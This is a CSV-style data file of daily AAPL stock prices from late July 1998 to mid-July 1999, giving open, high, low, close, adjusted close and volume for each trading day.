-1998-07-29,1.2053571939468384,1.28125,1.203125,1.2544642686843872,1.0915106534957886,111930000.0,AAPL
-1998-07-30,1.2790178060531616,1.3125,1.2678571939468384,1.3035714626312256,1.134238839149475,90574400.0,AAPL
-1998-07-31,1.3080357313156128,1.3125,1.2321428060531616,1.2366071939468384,1.0759729146957397,45777200.0,AAPL
-1998-08-03,1.2232142686843872,1.2700892686843872,1.1875,1.2544642686843872,1.0915106534957886,75440400.0,AAPL
-1998-08-04,1.2678571939468384,1.2857142686843872,1.2142857313156128,1.2209821939468384,1.0623778104782104,73480400.0,AAPL
-1998-08-05,1.2053571939468384,1.2857142686843872,1.1964285373687744,1.2857142686843872,1.1187011003494263,113520400.0,AAPL
-1998-08-06,1.2522321939468384,1.3169642686843872,1.2455357313156128,1.3169642686843872,1.145891547203064,109653600.0,AAPL
-1998-08-07,1.328125,1.3348214626312256,1.2857142686843872,1.3035714626312256,1.134238839149475,74505200.0,AAPL
-1998-08-10,1.296875,1.359375,1.2946428060531616,1.3549107313156128,1.1789089441299438,122150000.0,AAPL
-1998-08-11,1.3482142686843872,1.4642857313156128,1.3348214626312256,1.3928571939468384,1.2119262218475342,439868800.0,AAPL
-1998-08-12,1.4196428060531616,1.4620535373687744,1.41015625,1.4308035373687744,1.244943380355835,172443600.0,AAPL
-1998-08-13,1.4263392686843872,1.4553571939468384,1.40625,1.4084821939468384,1.2255216836929321,97694800.0,AAPL
-1998-08-14,1.453125,1.4553571939468384,1.4107142686843872,1.4464285373687744,1.2585391998291016,112694400.0,AAPL
-1998-08-17,1.4642857313156128,1.5290178060531616,1.4241071939468384,1.4977678060531616,1.3032090663909912,232719200.0,AAPL
-1998-08-18,1.515625,1.5491071939468384,1.5089285373687744,1.5200892686843872,1.3226310014724731,151488400.0,AAPL
-1998-08-19,1.5535714626312256,1.5625,1.4642857313156128,1.4642857313156128,1.274076223373413,121497600.0,AAPL
-1998-08-20,1.4642857313156128,1.46875,1.4375,1.4508928060531616,1.2624232769012451,97980400.0,AAPL
-1998-08-21,1.4285714626312256,1.5558035373687744,1.3928571939468384,1.5357142686843872,1.3362265825271606,203344400.0,AAPL
-1998-08-24,1.5513392686843872,1.5535714626312256,1.4330357313156128,1.4709821939468384,1.2799030542373657,152544000.0,AAPL
-1998-08-25,1.5133928060531616,1.5133928060531616,1.4397321939468384,1.4575892686843872,1.2682501077651978,123891600.0,AAPL
-1998-08-26,1.4241071939468384,1.46875,1.4107142686843872,1.4419642686843872,1.2546544075012207,101620400.0,AAPL
-1998-08-27,1.4017857313156128,1.4017857313156128,1.2723214626312256,1.3392857313156128,1.165313959121704,278560800.0,AAPL
-1998-08-28,1.3258928060531616,1.375,1.21875,1.2209821939468384,1.0623778104782104,233063600.0,AAPL
-1998-08-31,1.2410714626312256,1.2455357313156128,1.1071428060531616,1.1138392686843872,0.9691525101661682,217056000.0,AAPL
-1998-09-01,1.1205357313156128,1.2633928060531616,1.09375,1.21875,1.0604356527328491,217268800.0,AAPL
-1998-09-02,1.2678571939468384,1.3348214626312256,1.2589285373687744,1.2700892686843872,1.105105996131897,210750400.0,AAPL
-1998-09-03,1.25,1.2544642686843872,1.2142857313156128,1.2366071939468384,1.0759729146957397,102438000.0,AAPL
-1998-09-04,1.2678571939468384,1.3013392686843872,1.2053571939468384,1.2544642686843872,1.0915106534957886,94318000.0,AAPL
-1998-09-08,1.3571428060531616,1.3660714626312256,1.3125,1.3660714626312256,1.1886197328567505,100699200.0,AAPL
-1998-09-09,1.359375,1.3616071939468384,1.3214285373687744,1.3348214626312256,1.1614291667938232,88673200.0,AAPL
-1998-09-10,1.2946428060531616,1.3660714626312256,1.2767857313156128,1.3616071939468384,1.1847355365753174,131720400.0,AAPL
-1998-09-11,1.375,1.4151785373687744,1.3169642686843872,1.34375,1.1691983938217163,88071200.0,AAPL
-1998-09-14,1.3660714626312256,1.3861607313156128,1.3258928060531616,1.328125,1.1556029319763184,61768000.0,AAPL
-1998-09-15,1.3125,1.3772321939468384,1.3035714626312256,1.3638392686843872,1.1866776943206787,108413200.0,AAPL
-1998-09-16,1.3794642686843872,1.3839285373687744,1.3214285373687744,1.3325892686843872,1.1594871282577515,64719200.0,AAPL
-1998-09-17,1.2879464626312256,1.3258928060531616,1.28125,1.2857142686843872,1.1187011003494263,67323200.0,AAPL
-1998-09-18,1.2879464626312256,1.3125,1.2700892686843872,1.3125,1.14200758934021,76269200.0,AAPL
-1998-09-21,1.2745535373687744,1.3191964626312256,1.2611607313156128,1.3191964626312256,1.1478339433670044,73967600.0,AAPL
-1998-09-22,1.3258928060531616,1.34375,1.2991071939468384,1.3214285373687744,1.1497761011123657,64484000.0,AAPL
-1998-09-23,1.3303571939468384,1.3705357313156128,1.3058035373687744,1.3683035373687744,1.1905618906021118,71979600.0,AAPL
-1998-09-24,1.3526785373687744,1.4129464626312256,1.3482142686843872,1.375,1.1963889598846436,120710800.0,AAPL
-1998-09-25,1.3638392686843872,1.3995535373687744,1.34375,1.3839285373687744,1.2041573524475098,57072400.0,AAPL
-1998-09-28,1.4196428060531616,1.4352678060531616,1.3571428060531616,1.3950892686843872,1.2138687372207642,101354400.0,AAPL
-1998-09-29,1.3950892686843872,1.4285714626312256,1.3616071939468384,1.4107142686843872,1.227463722229004,76283200.0,AAPL
-1998-09-30,1.3839285373687744,1.4017857313156128,1.3571428060531616,1.3616071939468384,1.1847355365753174,41795600.0,AAPL
-1998-10-01,1.3125,1.3571428060531616,1.2633928060531616,1.2745535373687744,1.1089904308319092,92554000.0,AAPL
-1998-10-02,1.2678571939468384,1.2946428060531616,1.21875,1.2522321939468384,1.089568018913269,118893600.0,AAPL
-1998-10-05,1.2142857313156128,1.234375,1.125,1.1495535373687744,1.0002275705337524,137970000.0,AAPL
-1998-10-06,1.203125,1.2254464626312256,1.1607142686843872,1.1629464626312256,1.0118807554244995,99965600.0,AAPL
-1998-10-07,1.15625,1.1897321939468384,1.1383928060531616,1.140625,0.9924589395523071,118339200.0,AAPL
-1998-10-08,1.1071428060531616,1.1138392686843872,1.0178571939468384,1.1004464626312256,0.9574993848800659,172303600.0,AAPL
-1998-10-09,1.1339285373687744,1.2589285373687744,1.0982142686843872,1.2544642686843872,1.0915106534957886,167059200.0,AAPL
-1998-10-12,1.3392857313156128,1.3727678060531616,1.3058035373687744,1.3370535373687744,1.163371205329895,155724800.0,AAPL
-1998-10-13,1.359375,1.3995535373687744,1.2857142686843872,1.3839285373687744,1.2041573524475098,235407200.0,AAPL
-1998-10-14,1.4196428060531616,1.4754464626312256,1.3147321939468384,1.3348214626312256,1.1614291667938232,570004400.0,AAPL
-1998-10-15,1.2946428060531616,1.3303571939468384,1.2678571939468384,1.3080357313156128,1.1381230354309082,210168000.0,AAPL
-1998-10-16,1.3258928060531616,1.359375,1.3035714626312256,1.3102678060531616,1.1400649547576904,153890800.0,AAPL
-1998-10-19,1.3102678060531616,1.359375,1.28125,1.3392857313156128,1.165313959121704,118944000.0,AAPL
-1998-10-20,1.3549107313156128,1.3638392686843872,1.2857142686843872,1.2879464626312256,1.1206430196762085,95522000.0,AAPL
-1998-10-21,1.3125,1.3370535373687744,1.2767857313156128,1.3258928060531616,1.1536606550216675,107654400.0,AAPL
-1998-10-22,1.3169642686843872,1.34375,1.2946428060531616,1.3125,1.14200758934021,79343600.0,AAPL
-1998-10-23,1.3125,1.3169642686843872,1.2544642686843872,1.2678571939468384,1.1031638383865356,88995200.0,AAPL
-1998-10-26,1.2879464626312256,1.3482142686843872,1.2678571939468384,1.3370535373687744,1.163371205329895,118960800.0,AAPL
-1998-10-27,1.3571428060531616,1.390625,1.2522321939468384,1.2589285373687744,1.0953949689865112,134548400.0,AAPL
-1998-10-28,1.2589285373687744,1.3214285373687744,1.2544642686843872,1.3147321939468384,1.1439496278762817,90927200.0,AAPL
-1998-10-29,1.3013392686843872,1.3370535373687744,1.2790178060531616,1.3013392686843872,1.1322966814041138,86144800.0,AAPL
-1998-10-30,1.3147321939468384,1.3392857313156128,1.2946428060531616,1.3258928060531616,1.1536606550216675,79410800.0,AAPL
-1998-11-02,1.3392857313156128,1.3482142686843872,1.3303571939468384,1.34375,1.1691983938217163,63442400.0,AAPL
-1998-11-03,1.3348214626312256,1.3660714626312256,1.3325892686843872,1.3504464626312256,1.1750246286392212,92612800.0,AAPL
-1998-11-04,1.3772321939468384,1.3973214626312256,1.3616071939468384,1.3816964626312256,1.2022154331207275,156970800.0,AAPL
-1998-11-05,1.3705357313156128,1.40625,1.359375,1.3638392686843872,1.1866776943206787,151779600.0,AAPL
-1998-11-06,1.3526785373687744,1.3660714626312256,1.3303571939468384,1.359375,1.1827938556671143,199334800.0,AAPL
-1998-11-09,1.3459821939468384,1.3616071939468384,1.2678571939468384,1.3080357313156128,1.1381230354309082,165197200.0,AAPL
-1998-11-10,1.2924107313156128,1.2946428060531616,1.25,1.2544642686843872,1.0915106534957886,220995600.0,AAPL
-1998-11-11,1.2767857313156128,1.2790178060531616,1.1696428060531616,1.1986607313156128,1.042955756187439,237126400.0,AAPL
-1998-11-12,1.1830357313156128,1.2299107313156128,1.1741071939468384,1.2142857313156128,1.0565510988235474,148775200.0,AAPL
-1998-11-13,1.2477678060531616,1.2879464626312256,1.2388392686843872,1.2745535373687744,1.1089904308319092,197954400.0,AAPL
-1998-11-16,1.2834821939468384,1.3125,1.265625,1.2857142686843872,1.1187011003494263,96132400.0,AAPL
-1998-11-17,1.2767857313156128,1.2790178060531616,1.2410714626312256,1.2433035373687744,1.0817996263504028,52682000.0,AAPL
-1998-11-18,1.2566964626312256,1.2857142686843872,1.2455357313156128,1.265625,1.1012217998504639,82415200.0,AAPL
-1998-11-19,1.2678571939468384,1.328125,1.265625,1.2767857313156128,1.1109328269958496,86632000.0,AAPL
-1998-11-20,1.3013392686843872,1.3125,1.2410714626312256,1.2611607313156128,1.0973368883132935,99806000.0,AAPL
-1998-11-23,1.2700892686843872,1.3147321939468384,1.2566964626312256,1.2946428060531616,1.1264700889587402,144488400.0,AAPL
-1998-11-24,1.2901785373687744,1.3125,1.2767857313156128,1.2834821939468384,1.1167588233947754,79937200.0,AAPL
-1998-11-25,1.28125,1.2879464626312256,1.2477678060531616,1.2544642686843872,1.0915106534957886,75950000.0,AAPL
-1998-11-27,1.2522321939468384,1.2544642686843872,1.2410714626312256,1.2522321939468384,1.089568018913269,38276000.0,AAPL
-1998-11-30,1.234375,1.2433035373687744,1.1339285373687744,1.140625,0.9924589395523071,140372400.0,AAPL
-1998-12-01,1.1428571939468384,1.2433035373687744,1.1294642686843872,1.21875,1.0604356527328491,216434400.0,AAPL
-1998-12-02,1.21875,1.3169642686843872,1.1964285373687744,1.2857142686843872,1.1187011003494263,240620800.0,AAPL
-1998-12-03,1.296875,1.3035714626312256,1.2008928060531616,1.203125,1.0468404293060303,156511600.0,AAPL
-1998-12-04,1.2254464626312256,1.2299107313156128,1.1428571939468384,1.1696428060531616,1.0177072286605835,180342400.0,AAPL
-1998-12-07,1.1919642686843872,1.2053571939468384,1.1696428060531616,1.2053571939468384,1.0487821102142334,141649200.0,AAPL
-1998-12-08,1.2120535373687744,1.2120535373687744,1.1428571939468384,1.1450892686843872,0.9963434338569641,170027200.0,AAPL
-1998-12-09,1.1674107313156128,1.1741071939468384,1.1294642686843872,1.1428571939468384,0.9944009780883789,148229200.0,AAPL
-1998-12-10,1.1674107313156128,1.1763392686843872,1.1383928060531616,1.1428571939468384,0.9944009780883789,97812400.0,AAPL
-1998-12-11,1.1517857313156128,1.2142857313156128,1.1428571939468384,1.2053571939468384,1.0487821102142334,172499600.0,AAPL
-1998-12-14,1.1741071939468384,1.1897321939468384,1.1517857313156128,1.1607142686843872,1.0099385976791382,125361600.0,AAPL
-1998-12-15,1.1696428060531616,1.2008928060531616,1.1696428060531616,1.1986607313156128,1.042955756187439,66178000.0,AAPL
-1998-12-16,1.2053571939468384,1.2209821939468384,1.1651785373687744,1.171875,1.019649624824524,93587200.0,AAPL
-1998-12-17,1.1763392686843872,1.2053571939468384,1.1696428060531616,1.1941964626312256,1.0390715599060059,82653200.0,AAPL
-1998-12-18,1.1919642686843872,1.2633928060531616,1.1875,1.2566964626312256,1.093453049659729,197873200.0,AAPL
-1998-12-21,1.2633928060531616,1.2723214626312256,1.2232142686843872,1.2522321939468384,1.089568018913269,89362000.0,AAPL
-1998-12-22,1.2991071939468384,1.3616071939468384,1.2857142686843872,1.3571428060531616,1.1808511018753052,287700000.0,AAPL
-1998-12-23,1.3794642686843872,1.4464285373687744,1.3705357313156128,1.421875,1.2371745109558105,308758800.0,AAPL
-1998-12-24,1.4241071939468384,1.4285714626312256,1.3995535373687744,1.4017857313156128,1.2196950912475586,49996800.0,AAPL
-1998-12-28,1.3928571939468384,1.46875,1.3928571939468384,1.4598214626312256,1.27019202709198,181328000.0,AAPL
-1998-12-29,1.46875,1.4821428060531616,1.4375,1.4575892686843872,1.2682501077651978,96838000.0,AAPL
-1998-12-30,1.4330357313156128,1.46875,1.4285714626312256,1.4308035373687744,1.244943380355835,59340400.0,AAPL
-1998-12-31,1.4464285373687744,1.4776785373687744,1.4107142686843872,1.4620535373687744,1.2721341848373413,67922400.0,AAPL
-1999-01-04,1.5044642686843872,1.5089285373687744,1.4285714626312256,1.4732142686843872,1.2818450927734375,238221200.0,AAPL
-1999-01-05,1.4977678060531616,1.5691964626312256,1.4821428060531616,1.546875,1.3459373712539673,352528400.0,AAPL
-1999-01-06,1.5758928060531616,1.5758928060531616,1.4642857313156128,1.4910714626312256,1.2973827123641968,337142400.0,AAPL
-1999-01-07,1.5089285373687744,1.609375,1.5044642686843872,1.6071428060531616,1.3983768224716187,357254800.0,AAPL
-1999-01-08,1.6629464626312256,1.6741071939468384,1.5714285373687744,1.6071428060531616,1.3983768224716187,169708000.0,AAPL
-1999-01-11,1.6339285373687744,1.6450892686843872,1.6026785373687744,1.6383928060531616,1.4255672693252563,140243600.0,AAPL
-1999-01-12,1.6540178060531616,1.6651785373687744,1.5758928060531616,1.6473214626312256,1.433335781097412,205184000.0,AAPL
-1999-01-13,1.53125,1.6897321939468384,1.5089285373687744,1.6607142686843872,1.4449890851974487,261954000.0,AAPL
-1999-01-14,1.625,1.6428571939468384,1.4665178060531616,1.4776785373687744,1.2857294082641602,430964800.0,AAPL
-1999-01-15,1.4933035373687744,1.5044642686843872,1.4285714626312256,1.4754464626312256,1.283787488937378,251501600.0,AAPL
-1999-01-19,1.4977678060531616,1.5111607313156128,1.4419642686843872,1.4598214626312256,1.27019202709198,133722400.0,AAPL
-1999-01-20,1.4665178060531616,1.5,1.4464285373687744,1.4486607313156128,1.2604809999465942,194530000.0,AAPL
-1999-01-21,1.4441964626312256,1.4486607313156128,1.3392857313156128,1.3861607313156128,1.2060996294021606,150122000.0,AAPL
-1999-01-22,1.3459821939468384,1.4107142686843872,1.3236607313156128,1.3839285373687744,1.2041573524475098,86441600.0,AAPL
-1999-01-25,1.4017857313156128,1.4129464626312256,1.3861607313156128,1.40625,1.2235792875289917,96334000.0,AAPL
-1999-01-26,1.4263392686843872,1.4598214626312256,1.4151785373687744,1.4464285373687744,1.2585391998291016,140011200.0,AAPL
-1999-01-27,1.4642857313156128,1.4776785373687744,1.4263392686843872,1.4330357313156128,1.2468856573104858,91238000.0,AAPL
-1999-01-28,1.4598214626312256,1.4732142686843872,1.4397321939468384,1.4598214626312256,1.27019202709198,84070000.0,AAPL
-1999-01-29,1.4709821939468384,1.484375,1.4285714626312256,1.4709821939468384,1.2799030542373657,60678800.0,AAPL
-1999-02-01,1.4888392686843872,1.4977678060531616,1.4397321939468384,1.4620535373687744,1.2721341848373413,69728400.0,AAPL
-1999-02-02,1.4419642686843872,1.4553571939468384,1.3928571939468384,1.3995535373687744,1.2177529335021973,76790000.0,AAPL
-1999-02-03,1.3928571939468384,1.4486607313156128,1.3839285373687744,1.4352678060531616,1.2488276958465576,84686000.0,AAPL
-1999-02-04,1.4352678060531616,1.4375,1.3482142686843872,1.3526785373687744,1.1769667863845825,115945200.0,AAPL
-1999-02-05,1.3660714626312256,1.3705357313156128,1.2678571939468384,1.296875,1.1284126043319702,194300400.0,AAPL
-1999-02-08,1.3102678060531616,1.3549107313156128,1.2946428060531616,1.3482142686843872,1.1730823516845703,117056800.0,AAPL
-1999-02-09,1.3549107313156128,1.3950892686843872,1.3236607313156128,1.328125,1.1556029319763184,175288400.0,AAPL
-1999-02-10,1.3169642686843872,1.3816964626312256,1.2857142686843872,1.3683035373687744,1.1905618906021118,140907200.0,AAPL
-1999-02-11,1.3839285373687744,1.4196428060531616,1.3772321939468384,1.4151785373687744,1.2313480377197266,141299200.0,AAPL
-1999-02-12,1.3973214626312256,1.3973214626312256,1.3214285373687744,1.3459821939468384,1.171140193939209,107226000.0,AAPL
-1999-02-16,1.3883928060531616,1.3883928060531616,1.3526785373687744,1.3683035373687744,1.1905618906021118,75056800.0,AAPL
-1999-02-17,1.3616071939468384,1.3816964626312256,1.3191964626312256,1.3214285373687744,1.1497761011123657,74015200.0,AAPL
-1999-02-18,1.3415178060531616,1.3526785373687744,1.2700892686843872,1.2857142686843872,1.1187011003494263,125042400.0,AAPL
-1999-02-19,1.2946428060531616,1.3459821939468384,1.2924107313156128,1.328125,1.1556029319763184,90423200.0,AAPL
-1999-02-22,1.3348214626312256,1.3883928060531616,1.3303571939468384,1.3727678060531616,1.1944464445114136,74667600.0,AAPL
-1999-02-23,1.3772321939468384,1.4129464626312256,1.3549107313156128,1.3727678060531616,1.1944464445114136,80544800.0,AAPL
-1999-02-24,1.3861607313156128,1.3928571939468384,1.3348214626312256,1.3370535373687744,1.163371205329895,53188800.0,AAPL
-1999-02-25,1.3325892686843872,1.3459821939468384,1.3035714626312256,1.3191964626312256,1.1478339433670044,66150000.0,AAPL
-1999-02-26,1.3035714626312256,1.3214285373687744,1.2321428060531616,1.2433035373687744,1.0817996263504028,166812800.0,AAPL
-1999-03-01,1.2433035373687744,1.2433035373687744,1.2008928060531616,1.2053571939468384,1.0487821102142334,121956800.0,AAPL
-1999-03-02,1.21875,1.2611607313156128,1.2053571939468384,1.2366071939468384,1.0759729146957397,170763600.0,AAPL
-1999-03-03,1.2410714626312256,1.2544642686843872,1.1964285373687744,1.2209821939468384,1.0623778104782104,73337600.0,AAPL
-1999-03-04,1.2321428060531616,1.2321428060531616,1.15625,1.1941964626312256,1.0390715599060059,91817600.0,AAPL
-1999-03-05,1.2254464626312256,1.2254464626312256,1.15625,1.1852678060531616,1.031302809715271,117009200.0,AAPL
-1999-03-08,1.1875,1.2388392686843872,1.1852678060531616,1.2276785373687744,1.0682041645050049,137667600.0,AAPL
-1999-03-09,1.2254464626312256,1.2276785373687744,1.1964285373687744,1.21875,1.0604356527328491,79923200.0,AAPL
-1999-03-10,1.2209821939468384,1.2209821939468384,1.1584821939468384,1.1629464626312256,1.0118807554244995,136570000.0,AAPL
-1999-03-11,1.1517857313156128,1.2098214626312256,1.1428571939468384,1.1495535373687744,1.0002275705337524,118414800.0,AAPL
-1999-03-12,1.1540178060531616,1.1964285373687744,1.1540178060531616,1.1852678060531616,1.031302809715271,67849600.0,AAPL
-1999-03-15,1.1897321939468384,1.25,1.1875,1.2165178060531616,1.0584933757781982,88040400.0,AAPL
-1999-03-16,1.25,1.2700892686843872,1.2477678060531616,1.2678571939468384,1.1031638383865356,99957200.0,AAPL
-1999-03-17,1.2834821939468384,1.2879464626312256,1.2120535373687744,1.2165178060531616,1.0584933757781982,91579600.0,AAPL
-1999-03-18,1.2276785373687744,1.2723214626312256,1.2232142686843872,1.2678571939468384,1.1031638383865356,56770000.0,AAPL
-1999-03-19,1.2834821939468384,1.2857142686843872,1.1741071939468384,1.1964285373687744,1.0410133600234985,134125600.0,AAPL
-1999-03-22,1.2142857313156128,1.2566964626312256,1.1763392686843872,1.2522321939468384,1.089568018913269,148402800.0,AAPL
-1999-03-23,1.2299107313156128,1.2299107313156128,1.1696428060531616,1.1785714626312256,1.0254758596420288,103888400.0,AAPL
-1999-03-24,1.1875,1.2053571939468384,1.1607142686843872,1.203125,1.0468404293060303,100038400.0,AAPL
-1999-03-25,1.2276785373687744,1.2455357313156128,1.1919642686843872,1.2075892686843872,1.0507243871688843,99990800.0,AAPL
-1999-03-26,1.2053571939468384,1.2075892686843872,1.1785714626312256,1.1875,1.0332449674606323,63459200.0,AAPL
-1999-03-29,1.1964285373687744,1.265625,1.1941964626312256,1.2633928060531616,1.0992792844772339,142217600.0,AAPL
-1999-03-30,1.25,1.2991071939468384,1.25,1.28125,1.1148170232772827,138630800.0,AAPL
-1999-03-31,1.2991071939468384,1.3258928060531616,1.28125,1.2834821939468384,1.1167588233947754,105588000.0,AAPL
-1999-04-01,1.2879464626312256,1.3102678060531616,1.2767857313156128,1.2879464626312256,1.1206430196762085,65514400.0,AAPL
-1999-04-05,1.2857142686843872,1.3526785373687744,1.2857142686843872,1.3236607313156128,1.1517186164855957,115234000.0,AAPL
-1999-04-06,1.3147321939468384,1.3683035373687744,1.3147321939468384,1.3571428060531616,1.1808511018753052,157147200.0,AAPL
-1999-04-07,1.359375,1.3660714626312256,1.2991071939468384,1.3258928060531616,1.1536606550216675,102953200.0,AAPL
-1999-04-08,1.3169642686843872,1.3236607313156128,1.2857142686843872,1.3169642686843872,1.145891547203064,74102000.0,AAPL
-1999-04-09,1.2946428060531616,1.3303571939468384,1.2834821939468384,1.3125,1.14200758934021,67135600.0,AAPL
-1999-04-12,1.25,1.3169642686843872,1.2455357313156128,1.2946428060531616,1.1264700889587402,98954800.0,AAPL
-1999-04-13,1.296875,1.3147321939468384,1.2321428060531616,1.2366071939468384,1.0759729146957397,103096000.0,AAPL
-1999-04-14,1.2589285373687744,1.3236607313156128,1.25,1.2689732313156128,1.1041347980499268,170256800.0,AAPL
-1999-04-15,1.2633928060531616,1.2924107313156128,1.2254464626312256,1.2767857313156128,1.1109328269958496,433619200.0,AAPL
-1999-04-16,1.28125,1.2879464626312256,1.2589285373687744,1.265625,1.1012217998504639,125554800.0,AAPL
-1999-04-19,1.2745535373687744,1.2857142686843872,1.1964285373687744,1.2098214626312256,1.0526667833328247,230454000.0,AAPL
-1999-04-20,1.2098214626312256,1.2410714626312256,1.1964285373687744,1.2165178060531616,1.0584933757781982,130964400.0,AAPL
-1999-04-21,1.2142857313156128,1.2276785373687744,1.1964285373687744,1.2276785373687744,1.0682041645050049,87850000.0,AAPL
-1999-04-22,1.2522321939468384,1.3080357313156128,1.2522321939468384,1.2991071939468384,1.1303541660308838,185043600.0,AAPL
-1999-04-23,1.2946428060531616,1.4084821939468384,1.2946428060531616,1.3995535373687744,1.2177529335021973,261710400.0,AAPL
-1999-04-26,1.4107142686843872,1.4732142686843872,1.4017857313156128,1.4620535373687744,1.2721341848373413,231982800.0,AAPL
-1999-04-27,1.5357142686843872,1.6361607313156128,1.5357142686843872,1.6339285373687744,1.4216830730438232,526512000.0,AAPL
-1999-04-28,1.59375,1.6316964626312256,1.5580357313156128,1.5736607313156128,1.3692436218261719,238747600.0,AAPL
-1999-04-29,1.5446428060531616,1.5848214626312256,1.4921875,1.5357142686843872,1.3362265825271606,197327200.0,AAPL
-1999-04-30,1.5714285373687744,1.6830357313156128,1.5714285373687744,1.6428571939468384,1.4294512271881104,368082400.0,AAPL
-1999-05-03,1.6450892686843872,1.7857142686843872,1.6339285373687744,1.7700892686843872,1.540156602859497,367609200.0,AAPL
-1999-05-04,1.7232142686843872,1.7366071939468384,1.6495535373687744,1.6607142686843872,1.4449890851974487,202809600.0,AAPL
-1999-05-05,1.6540178060531616,1.6785714626312256,1.59375,1.6785714626312256,1.4605265855789185,144824400.0,AAPL
-1999-05-06,1.6629464626312256,1.6741071939468384,1.5714285373687744,1.5892857313156128,1.3828390836715698,108287200.0,AAPL
-1999-05-07,1.59375,1.6383928060531616,1.5267857313156128,1.6383928060531616,1.4255672693252563,108679200.0,AAPL
-1999-05-10,1.6696428060531616,1.6763392686843872,1.59375,1.6160714626312256,1.406145453453064,98249200.0,AAPL
-1999-05-11,1.6026785373687744,1.6495535373687744,1.5558035373687744,1.5982142686843872,1.3906077146530151,114648800.0,AAPL
-1999-05-12,1.6026785373687744,1.6607142686843872,1.5758928060531616,1.6607142686843872,1.4449890851974487,98781200.0,AAPL
-1999-05-13,1.6584821939468384,1.671875,1.625,1.6495535373687744,1.4352781772613525,73880800.0,AAPL
-1999-05-14,1.6116071939468384,1.6361607313156128,1.5848214626312256,1.5848214626312256,1.3789544105529785,56658000.0,AAPL
-1999-05-17,1.5625,1.5959821939468384,1.5357142686843872,1.5848214626312256,1.3789544105529785,52690400.0,AAPL
-1999-05-18,1.6004464626312256,1.6428571939468384,1.5848214626312256,1.6160714626312256,1.406145453453064,104594000.0,AAPL
-1999-05-19,1.625,1.6339285373687744,1.5535714626312256,1.6138392686843872,1.4042030572891235,74569600.0,AAPL
-1999-05-20,1.6227678060531616,1.6339285373687744,1.5178571939468384,1.5178571939468384,1.3206889629364014,104428800.0,AAPL
-1999-05-21,1.5357142686843872,1.5825892686843872,1.5200892686843872,1.5691964626312256,1.3653593063354492,115796800.0,AAPL
-1999-05-24,1.5580357313156128,1.5825892686843872,1.4955357313156128,1.4977678060531616,1.3032090663909912,65231600.0,AAPL
-1999-05-25,1.484375,1.515625,1.4620535373687744,1.4821428060531616,1.2896136045455933,91627200.0,AAPL
-1999-05-26,1.4910714626312256,1.5848214626312256,1.4732142686843872,1.5736607313156128,1.3692436218261719,109387600.0,AAPL
-1999-05-27,1.5424107313156128,1.5625,1.5245535373687744,1.5535714626312256,1.3517639636993408,84190400.0,AAPL
-1999-05-28,1.546875,1.5825892686843872,1.5401785373687744,1.5736607313156128,1.3692436218261719,50282400.0,AAPL
-1999-06-01,1.6071428060531616,1.6183035373687744,1.5848214626312256,1.6004464626312256,1.3925501108169556,115256400.0,AAPL
-1999-06-02,1.5892857313156128,1.7120535373687744,1.5714285373687744,1.6629464626312256,1.44693124294281,130264400.0,AAPL
-1999-06-03,1.6741071939468384,1.7142857313156128,1.671875,1.6941964626312256,1.4741218090057373,122127600.0,AAPL
-1999-06-04,1.7008928060531616,1.7209821939468384,1.6875,1.71875,1.495485782623291,92170400.0,AAPL
-1999-06-07,1.71875,1.75,1.6964285373687744,1.7477678060531616,1.5207346677780151,104571600.0,AAPL
-1999-06-08,1.7410714626312256,1.7433035373687744,1.6986607313156128,1.703125,1.4818905591964722,78414000.0,AAPL
-1999-06-09,1.6941964626312256,1.7321428060531616,1.6941964626312256,1.7299107313156128,1.5051968097686768,88446400.0,AAPL
-1999-06-10,1.7098214626312256,1.7232142686843872,1.6897321939468384,1.71875,1.495485782623291,79262400.0,AAPL
-1999-06-11,1.71875,1.7321428060531616,1.6517857313156128,1.6584821939468384,1.4430469274520874,46261600.0,AAPL
-1999-06-14,1.6607142686843872,1.6651785373687744,1.6116071939468384,1.6227678060531616,1.4119718074798584,39270000.0,AAPL
-1999-06-15,1.6138392686843872,1.6696428060531616,1.6116071939468384,1.6450892686843872,1.4313938617706299,32597600.0,AAPL
-1999-06-16,1.65625,1.7165178060531616,1.65625,1.7120535373687744,1.4896595478057861,56254800.0,AAPL
-1999-06-17,1.7008928060531616,1.7142857313156128,1.6339285373687744,1.65625,1.441104531288147,56100800.0,AAPL
-1999-06-18,1.6205357313156128,1.6875,1.6138392686843872,1.6830357313156128,1.4644111394882202,52015600.0,AAPL
-1999-06-21,1.6785714626312256,1.6875,1.6428571939468384,1.6607142686843872,1.4449890851974487,33787600.0,AAPL
-1999-06-22,1.6540178060531616,1.6763392686843872,1.6205357313156128,1.6205357313156128,1.410029649734497,37769200.0,AAPL
-1999-06-23,1.609375,1.6104910373687744,1.5558035373687744,1.5602678060531616,1.357590675354004,132874000.0,AAPL
-1999-06-24,1.5580357313156128,1.5580357313156128,1.5089285373687744,1.5111607313156128,1.3148623704910278,108340400.0,AAPL
-1999-06-25,1.5178571939468384,1.5245535373687744,1.5022321939468384,1.5066964626312256,1.3109782934188843,73533600.0,AAPL
-1999-06-28,1.515625,1.5334821939468384,1.5133928060531616,1.5200892686843872,1.3226310014724731,69423200.0,AAPL
-1999-06-29,1.5256696939468384,1.6272321939468384,1.5223214626312256,1.6205357313156128,1.410029649734497,95096400.0,AAPL
-1999-06-30,1.6316964626312256,1.6763392686843872,1.6049107313156128,1.6540178060531616,1.4391627311706543,85817200.0,AAPL
-1999-07-01,1.6540178060531616,1.6629464626312256,1.6160714626312256,1.6183035373687744,1.4080874919891357,37304400.0,AAPL
-1999-07-02,1.6261160373687744,1.6741071939468384,1.6138392686843872,1.6540178060531616,1.4391627311706543,30920400.0,AAPL
-1999-07-06,1.640625,1.7008928060531616,1.6361607313156128,1.6919642686843872,1.4721795320510864,113453200.0,AAPL
-1999-07-07,1.6919642686843872,1.8125,1.6785714626312256,1.78125,1.5498672723770142,274789200.0,AAPL
-1999-07-08,1.8258928060531616,1.9665178060531616,1.8169642686843872,1.9464285373687744,1.693589210510254,406260400.0,AAPL
-1999-07-09,1.9464285373687744,1.9866071939468384,1.8928571939468384,1.9866071939468384,1.7285490036010742,152174400.0,AAPL
-1999-07-12,1.9821428060531616,1.9866071939468384,1.9352678060531616,1.9464285373687744,1.693589210510254,75978000.0,AAPL
-1999-07-13,1.9107142686843872,1.9352678060531616,1.8883928060531616,1.9174107313156128,1.6683406829833984,70814800.0,AAPL
-1999-07-14,1.9464285373687744,2.0223214626312256,1.9464285373687744,1.9977678060531616,1.7382595539093018,156139200.0,AAPL
-1999-07-15,1.9955357313156128,1.9977678060531616,1.8325892686843872,1.9017857313156128,1.6547456979751587,422951200.0,AAPL
-1999-07-16,1.9151785373687744,1.9464285373687744,1.8928571939468384,1.8950892686843872,1.648918867111206,102874800.0,AAPL
